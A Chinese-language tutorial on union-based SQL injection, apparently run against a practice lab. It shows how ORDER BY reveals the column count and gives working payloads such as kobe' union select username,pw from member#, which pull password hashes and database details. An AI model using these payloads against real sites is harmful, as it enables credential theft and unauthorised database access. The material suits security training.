LOADING

基于union的信息获取

网络安全

基于 union 的信息获取

union 联合查询

union 联合命令:

  • 用于合并两个或多个 SELECT 语句的结果集,并返回合并后的结果集。

用法举例:

select username,password from user where id=1 union select 字段1,字段2 from 表名
select username,password from user where id=1 union select 命令1,命令2

注意联合命令的字段数命令数需要和主查询一致! 那么我们怎么知道主查询有多少字段数呢?

order by 排序

使用order by方法,对查询结果进行排序,示例如下:

select id,email from member where username='kobe' order by 1;

该语句后面跟上order by 1,表示对查询结果1 字段进行排序 如果我们写了order by 3,实际上查询结果只有 2 个字段,那么会报错!! 以字符型注入为例,我们输入kobe' order by 3# sql_orderby_1.png 报错信息为:

Unknown column '3' in 'order clause'

表示没有第三个字段,标明字段数<3 输入kobe' order by 2# sql_orderby_2.png 正常输出结果,表示有>=2个字段 <3,>=2,说明字段数为2 一个个试就能试出来了

mysql 命令补充

Select version(); //取的数据库版本
Select database();//取得当前的数据库
Select user(); //取得当前登录的用户

总结

  1. 通过order by方法知道主查询字段数
select id,email from member where username='kobe' order by 3;
  1. 尝试union联合查询,看看能不能得到更多信息
#比如username、password、id、email、phone之类的同一表下其他信息
#需要通过information_schema拿到信息
select id,email from member where username='kobe' union select 字段1,字段2 from 表名
#数据库信息,比如version()、database()、user()
select id,email from member where username='kobe' union select 命令1,命令2

具体操作

以字符型注入为例,我们输入以下代码:

kobe' union select username,pw from member#
#返回了username和pw的md5值

sql_union_1.png

kobe' union select version(),database()#
#返回了数据库版本号`5.7.26`和当前数据库名`root`

sql_union_2.png